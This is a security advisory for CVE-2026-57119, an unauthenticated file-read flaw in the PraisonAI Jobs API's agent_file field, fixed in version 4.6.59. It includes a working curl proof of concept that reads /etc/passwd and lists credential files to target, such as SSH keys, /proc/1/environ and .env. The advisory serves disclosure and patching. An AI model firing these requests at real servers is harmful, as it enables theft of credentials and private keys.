High

PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API

  • Disclosed: 18.06.2026
  • Updated: 11.10.2026 14:18

Summary

An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the agent_file field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.

Details

The agent_file field in JobSubmitRequest accepts any filesystem path with no validation:

python
# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist

The executor reads the file directly:

python
# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))

Proof of Concept

bash
curl -X POST http://:8005/api/v1/runs \
  -H "Content-Type: application/json" \
  -d '{"prompt": "run", "agent_file": "/etc/passwd"}'

Server responds with contents of /etc/passwd.

Other exploitable paths:

  • /proc/1/environ — environment variables, API keys
  • /home//.ssh/id_rsa — SSH private keys
  • /app/.env — application secrets

Impact

Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonai < 4.6.59 4.6.59

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness (CWE)
CWE-22
Platform
Python (PyPI)
Package
praisonai
Disclosed
18.06.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-3516 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-p4pj-vh7h-6cqh - CC BY 4.0

Vulnerability history: praisonai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (104) in the archive
Total entries
104
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 27
  • High 60
  • Medium 17

Disclosures per year

  1. 2026: 104
Severity:
  1. High · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  2. High · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  3. High · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  4. Critical · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  5. PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API this entry
    High · 7.5 CVE-2026-57119 < 4.6.59 4.6.59
  6. High · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  7. High · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
  8. High · 8.3 CVE-2026-56835 >= 3.11.0, < 4.6.59 4.6.59
  9. High · 8.2 CVE-2026-56836 >= 4.5.112, < 4.6.59 4.6.59
  10. High CVE-2026-47397 < 4.6.40 4.6.40
  11. Critical · 9.8 CVE-2026-41497 < 4.5.149 4.5.149
  12. Critical · 9.8 CVE-2026-40288 < 4.5.139 4.5.139
  13. High · 8.4 CVE-2026-40287 < 4.5.139 4.5.139
  14. Critical · 9.3 CVE-2026-40154 < 4.5.128 4.5.128
  15. Critical · 9.6 CVE-2026-40088 < 4.5.121 4.5.121
  16. High · 8.8 CVE-2026-39891 < 4.5.115 4.5.115
  17. Critical CVE-2026-35615 < 1.5.113 1.5.113
Show more (7) Showing 80 of 87

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.